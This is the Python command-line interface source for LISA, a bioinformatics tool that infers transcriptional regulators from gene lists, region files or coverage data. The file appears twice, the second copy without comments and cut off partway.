] | 1 | 2021-10-04T22:39:05.000Z | 2021-10-04T22:39:05.000Z | lisa/cli/cli.py | Wang-Cankun/lisa2 | 2407cc3c12f43bf41f0e14b2a8a5fcdfe07ff310 | [
"MIT"
] | 5 | 2021-02-16T13:16:34.000Z | 2022-03-08T16:15:25.000Z | '''
********
Lisa CLI
********
Installing LISA using pip or conda adds the "lisa" command to your path. LISA's functionality is divided into three main subcommands:
* `lisa oneshot`_ : one genelist
* `lisa multi`_ : multiple genelists
* `lisa regions`_ : one genelist and a list of regions
Which are used depending on the evidence you have on hand.
See the `User Guide <user_guide.rst>`_ for more usage information.
See the `Python API <python_api.rst>`_ for more in-depth description of tests and parameters.
'''
from lisa import FromRegions, FromGenes, FromCoverage
from lisa.core.utils import Log
from lisa.core.lisa_core import DownloadRequiredError
from lisa.core.data_interface import DatasetNotFoundError, INSTALL_PATH
from lisa._version import __version__
import configparser
import argparse
import os
import sys
import json
from collections import defaultdict
from shutil import copyfile
import lisa.cli.test_cli as tests
from shutil import copyfile
import numpy as np
from lisa.lisa_public_data.genes_test import _config as public_config
from lisa.lisa_user_data.regions_test import _config as user_config
from lisa.core.io import parse_deseq_file
#____COMMAND LINE INTERFACE________
INSTANTIATION_KWARGS = ['isd_method','verbose','assays', 'rp_map']
PREDICTION_KWARGS = ['background_list','num_background_genes','background_strategy', 'seed']
def extract_kwargs(args, keywords):
return {key : vars(args)[key] for key in keywords}
def is_valid_prefix(prefix):
if '/' in prefix:
if os.path.isdir(prefix) or os.path.isfile(prefix) or os.path.isdir(os.path.dirname(prefix)):
return prefix
else:
raise argparse.ArgumentTypeError('{}: Invalid file prefix.'.format(prefix))
else:
return prefix
def save_results(args, results, metadata):
if args.save_metadata:
if args.output_prefix:
metadata_filename = args.output_prefix + '.metadata.json'
else:
metadata_filename = os.path.basename(args.query_list.name) + '.metadata.json'
with open(metadata_filename, 'w') as f:
f.write(json.dumps(metadata, indent=4))
if not args.output_prefix is None:
with open(args.output_prefix + '.lisa.tsv', 'w') as f:
f.write(results.to_tsv())
else:
print(results.to_tsv())
def lisa_oneshot(args):
try:
args.background_list = args.background_list.readlines()
except AttributeError:
pass
results, metadata = FromGenes(args.species, **extract_kwargs(args, INSTANTIATION_KWARGS)).predict(args.query_list.readlines(), **extract_kwargs(args, PREDICTION_KWARGS))
save_results(args, results, metadata)
def lisa_regions(args):
try:
args.background_list = args.background_list.readlines()
except AttributeError:
pass
if not args.macs_xls:
fn = FromRegions.using_bedfile
else:
fn = FromRegions.using_macs_output
results, metadata = fn(args.species, args.query_genes, args.regions, rp_map = args.rp_map,
rp_decay=args.rp_decay, isd_method=args.isd_method, background_list=args.background_list,
background_strategy=args.background_strategy, num_background_genes = args.num_background_genes,
seed=args.seed, header = args.header)
save_results(args, results, metadata)
def lisa_coverage(args):
try:
args.background_list = args.background_list.readlines()
except AttributeError:
pass
results, metadata = FromCoverage.using_bigwig(args.species, args.query_genes, args.bigwig_path, rp_map = args.rp_map,
isd_method=args.isd_method, background_list=args.background_list,
background_strategy=args.background_strategy, num_background_genes = args.num_background_genes,
seed=args.seed)
save_results(args, results, metadata)
def save_and_get_top_TFs(args, query_name, results, metadata):
with open(args.output_prefix + query_name + '.lisa.tsv', 'w') as f:
f.write(results.to_tsv())
if args.save_metadata:
with open(args.output_prefix + query_name + '.metadata.json', 'w') as f:
f.write(json.dumps(metadata, indent=4))
top_TFs = results.to_dict()['factor']
return list(set(top_TFs[:10]))
def print_results_multi(results_summary):
print('Sample\tTop Regulatory Factors:')
for result_line in results_summary:
print(result_line[0], ', '.join(result_line[1]), sep = '\t')
class MultiError(Exception):
pass
def lisa_multi(args):
log = Log(target = sys.stderr, verbose = args.verbose)
lisa = FromGenes(args.species, **extract_kwargs(args, INSTANTIATION_KWARGS), log = log)
query_dict = {os.path.basename(query.name) : query.readlines() for query in args.query_lists}
results_summary = []
all_passed = True
for query_name, query_list in query_dict.items():
with log.section('Modeling {}:'.format(str(query_name))):
try:
results, metadata = lisa.predict(query_list, **extract_kwargs(args, PREDICTION_KWARGS))
top_TFs_unique = save_and_get_top_TFs(args, query_name, results, metadata)
results_summary.append((query_name, top_TFs_unique))
except AssertionError as err:
all_passed = False
log.append('ERROR: ' + str(err))
print_results_multi(results_summary)
if not all_passed:
raise MultiError('One or more genelists raised an error')
def lisa_deseq(args):
log = Log(target = sys.stderr, verbose = args.verbose)
lisa = FromGenes(args.species, **extract_kwargs(args, INSTANTIATION_KWARGS), log = log)
up_genes, down_genes = parse_deseq_file(args.deseq_file, lfc_cutoff = args.lfc_cutoff,
pval_cutoff= args.pval_cutoff, sep = args.sep)
results_summary = []
all_passed = True
for prefix, query_list in zip(['up-regulated', 'down-regulated'], [up_genes, down_genes]):
with log.section('Modeling {}:'.format(str(prefix))):
try:
results, metadata = lisa.predict(query_list, **extract_kwargs(args, PREDICTION_KWARGS))
top_TFs_unique = save_and_get_top_TFs(args, prefix, results, metadata)
results_summary.append((prefix, top_TFs_unique))
except AssertionError as err:
all_passed = False
log.append('ERROR: ' + str(err))
print_results_multi(results_summary)
if not all_passed:
raise MultiError('One or more genelists raised an error')
def confirm_file(arg):
if os.path.isfile(arg):
return arg
else:
raise argparse.ArgumentTypeError('ERROR: {} is not a valid file'.format(str(arg)))
def run_tests(args):
if not args.skip_oneshot:
tests.test_oneshot(args.test_genelist, args.background_genelist)
tests.test_multi(args.genelists)
def build_common_args(parser):
parser.add_argument('--seed', type = int, default = 2556, help = 'Random seed for gene selection. Allows for reproducing exact results.')
parser.add_argument('--use_motifs', action = 'store_const', const = 'motifs', default='chipseq',
dest = 'isd_method', help = 'Use motif hits instead of ChIP-seq peaks to represent TF binding (only recommended if TF-of-interest is not represented in ChIP-seq database).')
parser.add_argument('--save_metadata', action = 'store_true', default = False, help = 'Save json-formatted metadata from processing each gene list.')
def build_from_genes_args(parser, add_assays = True):
#parser.add_argument('-c','--cores', required = True, type = int)
if add_assays:
parser.add_argument('-a','--assays',nargs='+',default=['Direct','H3K27ac','DNase'], choices=['Direct','H3K27ac','DNase'], help = 'Which set of insilico-deletion assays to run.')
parser.add_argument('--rp_map_style', dest = 'rp_map', choices=public_config.get('lisa_params','rp_map_styles').split(','),
default= public_config.get('lisa_params','rp_map_styles').split(',')[0], help = 'Which style of rp_map to assess influence of regions on genes. "basic" is stricly distance-based, while "enhanced" masks the exon and promoter regions of nearby genes.')
def build_multiple_lists_args(parser):
parser.add_argument('-o','--output_prefix', required = True, type = is_valid_prefix, help = 'Output file prefix.')
parser.add_argument('-v','--verbose',type = int, default = 2)
parser.add_argument('-b','--num_background_genes', type = int, default = public_config.get('lisa_params', 'background_genes'),
help = 'Number of sampled background genes to compare to user-supplied genes. These genes are selection from other gene lists.')
parser.add_argument('--random_background', action = 'store_const', const = 'random', default = 'regulatory', dest = 'background_strategy', help = 'Use random background selection rather than "regulatory" selection.')
def build_one_list_args(parser, default_background_strategy = 'regulatory'):
parser.add_argument('-o','--output_prefix', required = False, type = is_valid_prefix, help = 'Output file prefix. If left empty, will write results to stdout.')
parser.add_argument('--background_strategy', choices = public_config.get('lisa_params', 'background_strategies').split(','),
default = default_background_strategy,
help = """Background genes selection strategy. LISA samples background genes to compare to user\'s genes-of-interest from a diverse
regulatory background (regulatory - recommended), randomly from all genes (random), or uses a user-provided list (provided).
""")
background_genes_group = parser.add_mutually_exclusive_group()
background_genes_group.add_argument('--background_list', type = argparse.FileType('r', encoding = 'utf-8'), required = False,
help = 'user-supplied list of backgroung genes. Used when --background_strategy flag is set to "provided"')
background_genes_group.add_argument('-b','--num_background_genes', type = int, default = public_config.get('lisa_params', 'background_genes'),
help = 'Number of sampled background genes to compare to user-supplied genes')
parser.add_argument('-v','--verbose',type = int, default = 4)
def build_deseq_args(parser):
parser.add_argument('deseq_file', type = confirm_file, help = 'DEseq differential expression output file. Will be parsed for differentially up and down-regulated genes.')
parser.add_argument('-lfc','--lfc_cutoff', type = float, default = 1, help = 'Log2 fold-change cutoff. For up-regulated genes, must have LFC > cutoff. For down-regulated genes, less than -1 * cutoff. Default of 1 means genes must be up or down-regulated by a factor of 2 to be included in query.')
parser.add_argument('-p','--pval_cutoff', type = float, default = 0.1, help = 'Adjusted p-value cutoff. Gene must have pval below cutoff to be a query gene.')
parser.add_argument('--sep', type = str, default='\t', help = 'Field separator for DESeq output file.')
class RstFormatter(argparse.ArgumentDefaultsHelpFormatter, argparse.RawTextHelpFormatter):
pass
parser = argparse.ArgumentParser(
formatter_class=RstFormatter,
description =
"""
Lisa: inferring transcriptional regulators through integrative modeling of public chromatin accessibility and ChIP-seq data
https://genomebiology.biomedcentral.com/articles/10.1186/s13059-020-1934-6
X. Shirley Liu Lab, 2020
""")
parser.add_argument('--version', action = 'version', version = __version__)
subparsers = parser.add_subparsers(help = 'commands')
#__ LISA oneshot command __
oneshot_parser = subparsers.add_parser('oneshot', formatter_class=RstFormatter, description = '''
lisa oneshot
------------
You have:
* one genelist
Use LISA to infer influential TFs from one gene list, with background epigenetic landscape modeled using public data.
If you have multiple lists, this option will be slower than using "multi" due to data-loading time. \n
Example::
$ lisa oneshot hg38 ./genelist.txt -b 501 --seed=2556 --save_metadata > results.tsv
''')
oneshot_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
oneshot_parser.add_argument('query_list', type = argparse.FileType('r', encoding = 'utf-8'), help = 'user-supplied gene lists. One gene per line in either symbol or refseqID format')
build_one_list_args(oneshot_parser)
build_from_genes_args(oneshot_parser)
build_common_args(oneshot_parser)
oneshot_parser.set_defaults(func = lisa_oneshot)
deseq_parser = subparsers.add_parser('deseq', formatter_class = RstFormatter, description = '''
lisa deseq
----------
You have:
* RNA-seq differential expression results from DESeq2
Use LISA to infer influential TFs given differentially expressed genes found using DESeq2. Will seperate up-regulated and down-regulated genes into their own LISA tests.
Example::
$ lisa deseq hg38 ./deseq_results.tsv -o deseq/ -b 501 --seed=2556 --save_metadata
''')
deseq_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
build_deseq_args(deseq_parser)
build_multiple_lists_args(deseq_parser)
build_from_genes_args(deseq_parser)
build_common_args(deseq_parser)
deseq_parser.set_defaults(func = lisa_deseq, background_list = None)
#__ LISA multi command __
multi_parser = subparsers.add_parser('multi', formatter_class=RstFormatter, description = '''
lisa multi
----------
You have:
* multiple genelists
Use LISA to infer influential TFs from multiple lists. This function processes each genelist independently in the same manner as the "oneshot" command, but reduces data loading time. Useful when performing
the test on up and down-regulated genes from multiple RNA-seq clusters.
Example::
$ lisa multi hg38 ./genelists/*.txt -b 501 -o ./results/
''')
multi_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
multi_parser.add_argument('query_lists', type = argparse.FileType('r', encoding = 'utf-8'), nargs = "+", help = 'user-supplied gene lists. One gene per line in either symbol or refseqID format')
build_multiple_lists_args(multi_parser)
build_from_genes_args(multi_parser)
build_common_args(multi_parser)
multi_parser.set_defaults(func = lisa_multi, background_list = None)
from argparse import SUPPRESS
#____ LISA regions command ____
regions_parser = subparsers.add_parser('regions', formatter_class=RstFormatter, add_help = False, description = '''
lisa regions
------------
You have:
* one genelist
* regions (250 - 1000 bp wide) of interest related to that list
* optional: a positive score/weight associated with each region (you may pass zero-weight regions, but they do not affect the test and will be filtered out)
Use LISA to infer TF influence on your geneset, but provide your regions-of-interest rather than building a background epigenetic model using public data. When providing
your own regions, LISA uses higher resolution, more precise binding data to increase the power of the test. Your regions should be between ~250 and 1000 bp in width, and the
associated score should be positive. Scores are often read-depth at those regions, but can be any metic you think may influence gene regulation.
Example::
$ lisa regions -r ./regions.bed -q ./genelist.txt --save_metadata > results.tsv
$ lisa regions -r ./macs_peaks.xls -q ./genelist.txt --macs_xls > results.tsv
''')
regions_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
regions_required = regions_parser.add_argument_group('required arguments')
regions_required.add_argument('-q', '--query_genes', required = True, type = argparse.FileType('r', encoding = 'utf-8'), help = 'user-supplied gene list. One gene per line in either symbol or refseqID format')
regions_required.add_argument('-r', '--regions', type = confirm_file, required = True, help = 'Tad-delineated bed file with columns: chr, start, end[, score]. The score column is optional. If not provided, LISA will assign each region a uniform weight.')
regions_optional = regions_parser.add_argument_group('optional arguments')
regions_optional.add_argument('--header', action = 'store_true', default=False, help = 'Bed file has header row as first row. The header row may contain ')
regions_optional.add_argument('--macs_xls', action = 'store_true', default=False, help='If provided, regions file is a MACS2 .xls output file, and the "pileup" field is taken to be the region score.')
regions_optional.add_argument('--rp_map_style', dest = 'rp_map', choices=user_config.get('lisa_params','rp_map_styles').split(','),
default=user_config.get('lisa_params','rp_map_styles').split(',')[0])
regions_optional.add_argument('--rp_decay', type = int, default = user_config.get('lisa_params','rp_decay'),
help = 'Distance in base-pairs in which the influence of a region on a gene decays by half. Increase for more weight on distal elements, decrease for more weight on promoter elements.')
build_one_list_args(regions_optional, default_background_strategy='all')
build_common_args(regions_optional)
regions_optional.add_argument('-h', '--help', action = 'help', default=SUPPRESS)
regions_parser.set_defaults(func = lisa_regions)
#___ LISA coverage commands _____
coverage_parser = subparsers.add_parser('coverage', formatter_class = RstFormatter, add_help = False, description = '''
lisa coverage
------------
You have:
* one genelist
* bigwig of coverage over the genome
Use LISA to infer TF influence on your geneset using your own coverage data. This test is better suited than the "regions" test when your measure produces wide peaks/areas of influence.
An example of this is H3K27ac data, which correlates with gene expression similarly to accessibility, but produces wide peaks that may span many distinct TF binding locations.
Example::
$ lisa coverage -bw ./sample.bigwig -q ./genelist.txt --save_metadata > results.tsv
''')
coverage_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
coverage_parser.add_argument('-q', '--query_genes', required = True, type = argparse.FileType('r', encoding = 'utf-8'), help = 'user-supplied gene list. One gene per line in either symbol or refseqID format')
coverage_parser.add_argument('-bw', '--bigwig_path', type = confirm_file, required = True, help = 'Bigwig file describing coverage over the genome.')
coverage_optional = coverage_parser.add_argument_group('optional arguments')
build_from_genes_args(coverage_optional, False)
build_one_list_args(coverage_optional, default_background_strategy='all')
build_common_args(coverage_optional)
coverage_optional.add_argument('-h', '--help', action = 'help', default=SUPPRESS)
coverage_parser.set_defaults(func = lisa_coverage)
#__ download command ___
def lisa_download(args):
if args.command in ['oneshot','multi','coverage']:
_class = FromGenes
elif args.command == 'regions':
_class = FromRegions
else:
raise AssertionError('Command {} not recognized'.format(args.command))
if args.url:
print(_class.get_dataset_url(args.species))
else:
_class.download_dataset(args.species)
download_data_parser = subparsers.add_parser('download', description = 'Download data from CistromeDB. Use if data recieved is incomplete or malformed.')
download_data_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Download data associated with human (hg38) or mouse (mm10) genes')
download_data_parser.add_argument('command', choices=['oneshot', 'multi', 'regions', 'coverage'], help = 'For which command to download data')
download_data_parser.add_argument('--url', action = 'store_true', help = 'Get url for data download. Does not install data.')
download_data_parser.set_defaults(func = lisa_download)
#__ install command ___
def install_data(args):
if args.command in ['oneshot','multi','coverage']:
_class = FromGenes
elif args.command == 'regions':
_class = FromRegions
else:
raise AssertionError('Command {} not recognized'.format(args.command))
dataset_file_required = os.path.basename(_class.get_dataset_path(args.species))
if not args.force:
assert(dataset_file_required == os.path.basename(args.dataset)), 'The {} test requires dataset {}. Use --force to overide and install your own dataset.'.format(args.command, dataset_file_required)
if not os.path.isdir(INSTALL_PATH):
os.mkdir(INSTALL_PATH)
if args.remove:
os.rename(args.dataset, _class.get_dataset_path(args.species))
else:
copyfile(args.dataset, _class.get_dataset_path(args.species))
install_data_parser = subparsers.add_parser('install', description = 'Helper command for manually installing Lisa\'s data')
install_data_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Install data associated with human (hg38) or mouse (mm10) genes')
install_data_parser.add_argument('command', choices=['oneshot', 'multi', 'regions', 'coverage'], help = 'For which command to install data')
install_data_parser.add_argument('dataset', type = confirm_file, help = 'Path to downloaded h5 dataset')
install_data_parser.add_argument('--remove', action = 'store_true', help = 'Delete dataset after installation is complete.')
install_data_parser.add_argument('--force', action = 'store_true', help = 'Skip namecheck and install lisa custom dataset')
install_data_parser.set_defaults(func = install_data)
#____ LISA run tests command ___
test_parser = subparsers.add_parser('run-tests')
test_parser.add_argument('species', type = str, choices=['hg38','mm10'])
test_parser.add_argument('test_genelist', type = confirm_file, help = 'test genelist for oneshot command')
test_parser.add_argument('background_genelist', type = confirm_file, help = 'background genelist for oneshot command')
test_parser.add_argument('genelists', nargs = '+', type = str, help = 'genelists for testing multi and one-vs-rest commands')
test_parser.add_argument('--skip_oneshot', action='store_true')
args = parser.parse_args()
test_parser.set_defaults(func = run_tests)
def main():
#____ Execute commands ___
args = parser.parse_args()
try:
args.func #first try accessing the .func attribute, which is empty if user tries ">>>lisa". In this case, don't throw error, display help!
except AttributeError:
print(parser.print_help(), file = sys.stderr)
else:
try:
args.func(args)
except (AssertionError, DownloadRequiredError, DatasetNotFoundError, MultiError) as err:
print('ERROR: ' + str(err), file = sys.stderr)
sys.exit(1) | 48.029289 | 301 | 0.728548 |
from lisa import FromRegions, FromGenes, FromCoverage
from lisa.core.utils import Log
from lisa.core.lisa_core import DownloadRequiredError
from lisa.core.data_interface import DatasetNotFoundError, INSTALL_PATH
from lisa._version import __version__
import configparser
import argparse
import os
import sys
import json
from collections import defaultdict
from shutil import copyfile
import lisa.cli.test_cli as tests
from shutil import copyfile
import numpy as np
from lisa.lisa_public_data.genes_test import _config as public_config
from lisa.lisa_user_data.regions_test import _config as user_config
from lisa.core.io import parse_deseq_file
INSTANTIATION_KWARGS = ['isd_method','verbose','assays', 'rp_map']
PREDICTION_KWARGS = ['background_list','num_background_genes','background_strategy', 'seed']
def extract_kwargs(args, keywords):
return {key : vars(args)[key] for key in keywords}
def is_valid_prefix(prefix):
if '/' in prefix:
if os.path.isdir(prefix) or os.path.isfile(prefix) or os.path.isdir(os.path.dirname(prefix)):
return prefix
else:
raise argparse.ArgumentTypeError('{}: Invalid file prefix.'.format(prefix))
else:
return prefix
def save_results(args, results, metadata):
if args.save_metadata:
if args.output_prefix:
metadata_filename = args.output_prefix + '.metadata.json'
else:
metadata_filename = os.path.basename(args.query_list.name) + '.metadata.json'
with open(metadata_filename, 'w') as f:
f.write(json.dumps(metadata, indent=4))
if not args.output_prefix is None:
with open(args.output_prefix + '.lisa.tsv', 'w') as f:
f.write(results.to_tsv())
else:
print(results.to_tsv())
def lisa_oneshot(args):
try:
args.background_list = args.background_list.readlines()
except AttributeError:
pass
results, metadata = FromGenes(args.species, **extract_kwargs(args, INSTANTIATION_KWARGS)).predict(args.query_list.readlines(), **extract_kwargs(args, PREDICTION_KWARGS))
save_results(args, results, metadata)
def lisa_regions(args):
try:
args.background_list = args.background_list.readlines()
except AttributeError:
pass
if not args.macs_xls:
fn = FromRegions.using_bedfile
else:
fn = FromRegions.using_macs_output
results, metadata = fn(args.species, args.query_genes, args.regions, rp_map = args.rp_map,
rp_decay=args.rp_decay, isd_method=args.isd_method, background_list=args.background_list,
background_strategy=args.background_strategy, num_background_genes = args.num_background_genes,
seed=args.seed, header = args.header)
save_results(args, results, metadata)
def lisa_coverage(args):
try:
args.background_list = args.background_list.readlines()
except AttributeError:
pass
results, metadata = FromCoverage.using_bigwig(args.species, args.query_genes, args.bigwig_path, rp_map = args.rp_map,
isd_method=args.isd_method, background_list=args.background_list,
background_strategy=args.background_strategy, num_background_genes = args.num_background_genes,
seed=args.seed)
save_results(args, results, metadata)
def save_and_get_top_TFs(args, query_name, results, metadata):
with open(args.output_prefix + query_name + '.lisa.tsv', 'w') as f:
f.write(results.to_tsv())
if args.save_metadata:
with open(args.output_prefix + query_name + '.metadata.json', 'w') as f:
f.write(json.dumps(metadata, indent=4))
top_TFs = results.to_dict()['factor']
return list(set(top_TFs[:10]))
def print_results_multi(results_summary):
print('Sample\tTop Regulatory Factors:')
for result_line in results_summary:
print(result_line[0], ', '.join(result_line[1]), sep = '\t')
class MultiError(Exception):
pass
def lisa_multi(args):
log = Log(target = sys.stderr, verbose = args.verbose)
lisa = FromGenes(args.species, **extract_kwargs(args, INSTANTIATION_KWARGS), log = log)
query_dict = {os.path.basename(query.name) : query.readlines() for query in args.query_lists}
results_summary = []
all_passed = True
for query_name, query_list in query_dict.items():
with log.section('Modeling {}:'.format(str(query_name))):
try:
results, metadata = lisa.predict(query_list, **extract_kwargs(args, PREDICTION_KWARGS))
top_TFs_unique = save_and_get_top_TFs(args, query_name, results, metadata)
results_summary.append((query_name, top_TFs_unique))
except AssertionError as err:
all_passed = False
log.append('ERROR: ' + str(err))
print_results_multi(results_summary)
if not all_passed:
raise MultiError('One or more genelists raised an error')
def lisa_deseq(args):
log = Log(target = sys.stderr, verbose = args.verbose)
lisa = FromGenes(args.species, **extract_kwargs(args, INSTANTIATION_KWARGS), log = log)
up_genes, down_genes = parse_deseq_file(args.deseq_file, lfc_cutoff = args.lfc_cutoff,
pval_cutoff= args.pval_cutoff, sep = args.sep)
results_summary = []
all_passed = True
for prefix, query_list in zip(['up-regulated', 'down-regulated'], [up_genes, down_genes]):
with log.section('Modeling {}:'.format(str(prefix))):
try:
results, metadata = lisa.predict(query_list, **extract_kwargs(args, PREDICTION_KWARGS))
top_TFs_unique = save_and_get_top_TFs(args, prefix, results, metadata)
results_summary.append((prefix, top_TFs_unique))
except AssertionError as err:
all_passed = False
log.append('ERROR: ' + str(err))
print_results_multi(results_summary)
if not all_passed:
raise MultiError('One or more genelists raised an error')
def confirm_file(arg):
if os.path.isfile(arg):
return arg
else:
raise argparse.ArgumentTypeError('ERROR: {} is not a valid file'.format(str(arg)))
def run_tests(args):
if not args.skip_oneshot:
tests.test_oneshot(args.test_genelist, args.background_genelist)
tests.test_multi(args.genelists)
def build_common_args(parser):
parser.add_argument('--seed', type = int, default = 2556, help = 'Random seed for gene selection. Allows for reproducing exact results.')
parser.add_argument('--use_motifs', action = 'store_const', const = 'motifs', default='chipseq',
dest = 'isd_method', help = 'Use motif hits instead of ChIP-seq peaks to represent TF binding (only recommended if TF-of-interest is not represented in ChIP-seq database).')
parser.add_argument('--save_metadata', action = 'store_true', default = False, help = 'Save json-formatted metadata from processing each gene list.')
def build_from_genes_args(parser, add_assays = True):
if add_assays:
parser.add_argument('-a','--assays',nargs='+',default=['Direct','H3K27ac','DNase'], choices=['Direct','H3K27ac','DNase'], help = 'Which set of insilico-deletion assays to run.')
parser.add_argument('--rp_map_style', dest = 'rp_map', choices=public_config.get('lisa_params','rp_map_styles').split(','),
default= public_config.get('lisa_params','rp_map_styles').split(',')[0], help = 'Which style of rp_map to assess influence of regions on genes. "basic" is stricly distance-based, while "enhanced" masks the exon and promoter regions of nearby genes.')
def build_multiple_lists_args(parser):
parser.add_argument('-o','--output_prefix', required = True, type = is_valid_prefix, help = 'Output file prefix.')
parser.add_argument('-v','--verbose',type = int, default = 2)
parser.add_argument('-b','--num_background_genes', type = int, default = public_config.get('lisa_params', 'background_genes'),
help = 'Number of sampled background genes to compare to user-supplied genes. These genes are selection from other gene lists.')
parser.add_argument('--random_background', action = 'store_const', const = 'random', default = 'regulatory', dest = 'background_strategy', help = 'Use random background selection rather than "regulatory" selection.')
def build_one_list_args(parser, default_background_strategy = 'regulatory'):
parser.add_argument('-o','--output_prefix', required = False, type = is_valid_prefix, help = 'Output file prefix. If left empty, will write results to stdout.')
parser.add_argument('--background_strategy', choices = public_config.get('lisa_params', 'background_strategies').split(','),
default = default_background_strategy,
help = """Background genes selection strategy. LISA samples background genes to compare to user\'s genes-of-interest from a diverse
regulatory background (regulatory - recommended), randomly from all genes (random), or uses a user-provided list (provided).
""")
background_genes_group = parser.add_mutually_exclusive_group()
background_genes_group.add_argument('--background_list', type = argparse.FileType('r', encoding = 'utf-8'), required = False,
help = 'user-supplied list of backgroung genes. Used when --background_strategy flag is set to "provided"')
background_genes_group.add_argument('-b','--num_background_genes', type = int, default = public_config.get('lisa_params', 'background_genes'),
help = 'Number of sampled background genes to compare to user-supplied genes')
parser.add_argument('-v','--verbose',type = int, default = 4)
def build_deseq_args(parser):
parser.add_argument('deseq_file', type = confirm_file, help = 'DEseq differential expression output file. Will be parsed for differentially up and down-regulated genes.')
parser.add_argument('-lfc','--lfc_cutoff', type = float, default = 1, help = 'Log2 fold-change cutoff. For up-regulated genes, must have LFC > cutoff. For down-regulated genes, less than -1 * cutoff. Default of 1 means genes must be up or down-regulated by a factor of 2 to be included in query.')
parser.add_argument('-p','--pval_cutoff', type = float, default = 0.1, help = 'Adjusted p-value cutoff. Gene must have pval below cutoff to be a query gene.')
parser.add_argument('--sep', type = str, default='\t', help = 'Field separator for DESeq output file.')
class RstFormatter(argparse.ArgumentDefaultsHelpFormatter, argparse.RawTextHelpFormatter):
pass
parser = argparse.ArgumentParser(
formatter_class=RstFormatter,
description =
"""
Lisa: inferring transcriptional regulators through integrative modeling of public chromatin accessibility and ChIP-seq data
https://genomebiology.biomedcentral.com/articles/10.1186/s13059-020-1934-6
X. Shirley Liu Lab, 2020
""")
parser.add_argument('--version', action = 'version', version = __version__)
subparsers = parser.add_subparsers(help = 'commands')
#__ LISA oneshot command __
oneshot_parser = subparsers.add_parser('oneshot', formatter_class=RstFormatter, description = '''
lisa oneshot
------------
You have:
* one genelist
Use LISA to infer influential TFs from one gene list, with background epigenetic landscape modeled using public data.
If you have multiple lists, this option will be slower than using "multi" due to data-loading time. \n
Example::
$ lisa oneshot hg38 ./genelist.txt -b 501 --seed=2556 --save_metadata > results.tsv
''')
oneshot_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
oneshot_parser.add_argument('query_list', type = argparse.FileType('r', encoding = 'utf-8'), help = 'user-supplied gene lists. One gene per line in either symbol or refseqID format')
build_one_list_args(oneshot_parser)
build_from_genes_args(oneshot_parser)
build_common_args(oneshot_parser)
oneshot_parser.set_defaults(func = lisa_oneshot)
deseq_parser = subparsers.add_parser('deseq', formatter_class = RstFormatter, description = '''
lisa deseq
----------
You have:
* RNA-seq differential expression results from DESeq2
Use LISA to infer influential TFs given differentially expressed genes found using DESeq2. Will seperate up-regulated and down-regulated genes into their own LISA tests.
Example::
$ lisa deseq hg38 ./deseq_results.tsv -o deseq/ -b 501 --seed=2556 --save_metadata
''')
deseq_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
build_deseq_args(deseq_parser)
build_multiple_lists_args(deseq_parser)
build_from_genes_args(deseq_parser)
build_common_args(deseq_parser)
deseq_parser.set_defaults(func = lisa_deseq, background_list = None)
#__ LISA multi command __
multi_parser = subparsers.add_parser('multi', formatter_class=RstFormatter, description = '''
lisa multi
----------
You have:
* multiple genelists
Use LISA to infer influential TFs from multiple lists. This function processes each genelist independently in the same manner as the "oneshot" command, but reduces data loading time. Useful when performing
the test on up and down-regulated genes from multiple RNA-seq clusters.
Example::
$ lisa multi hg38 ./genelists/*.txt -b 501 -o ./results/
''')
multi_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
multi_parser.add_argument('query_lists', type = argparse.FileType('r', encoding = 'utf-8'), nargs = "+", help = 'user-supplied gene lists. One gene per line in either symbol or refseqID format')
build_multiple_lists_args(multi_parser)
build_from_genes_args(multi_parser)
build_common_args(multi_parser)
multi_parser.set_defaults(func = lisa_multi, background_list = None)
from argparse import SUPPRESS
#____ LISA regions command ____
regions_parser = subparsers.add_parser('regions', formatter_class=RstFormatter, add_help = False, description = '''
lisa regions
------------
You have:
* one genelist
* regions (250 - 1000 bp wide) of interest related to that list
* optional: a positive score/weight associated with each region (you may pass zero-weight regions, but they do not affect the test and will be filtered out)
Use LISA to infer TF influence on your geneset, but provide your regions-of-interest rather than building a background epigenetic model using public data. When providing
your own regions, LISA uses higher resolution, more precise binding data to increase the power of the test. Your regions should be between ~250 and 1000 bp in width, and the
associated score should be positive. Scores are often read-depth at those regions, but can be any metic you think may influence gene regulation.
Example::
$ lisa regions -r ./regions.bed -q ./genelist.txt --save_metadata > results.tsv
$ lisa regions -r ./macs_peaks.xls -q ./genelist.txt --macs_xls > results.tsv
''')
regions_parser.add_argument('species', choices = ['hg38','mm10'], help = 'Find TFs associated with human (hg38) or mouse (mm10) genes')
regions_required = regions_parser.add_argument_group('required arguments')
regions_required.add_argument('-q', '--query_genes', required = True, type = argparse.FileType('r', encoding = 'utf-8'), help = 'user-supplied gene list. One gene per line in either symbol or refseqID format')
regions_required.add_argument('-r', '--regions', type = confirm_file, required = True, help = 'Tad-delineated bed file with columns: chr, start, end[, score]. The score column is optional. If not provided, LISA will assign each region a uniform weight.')
regions_optional = regions_parser.add_argument_group('optional arguments')
regions_optional.add_argument('--header', action = 'store_true', default=False, help = 'Bed file has header row as first row. The header row may contain ')
regions_optional.add_argument('--macs_xls', action = 'store_true', default=False, help='If provided, regions file is a MACS2 .xls output file, and the "pileup" field is taken to be the region score.')
regions_optional.add_argument('--rp_map_style', dest = 'rp_map', choices=user_config.get('lisa_params','rp_map_styles').split(','),
default=user_config.get('lisa_params','rp_map_styles').split(',')[0])
regions_optional.add_argument('--rp_decay', type = int, default = user_config.get('lisa_params','rp_decay'),
help = 'Distance in base-pairs in which the influence of a region on a gene decays by half. Increase for more weight on distal elements, decrease for more weight on promoter elements.')
build_one_list_args(regions_optional, default_background_strategy='all')
build_common_args(regions_optional)
regions_optional.add_argument('-h', '--help', action = 'help', default=SUPPRESS)
regions_parser.set_defaults(func = lisa_regions)
#___ LISA coverage commands _____
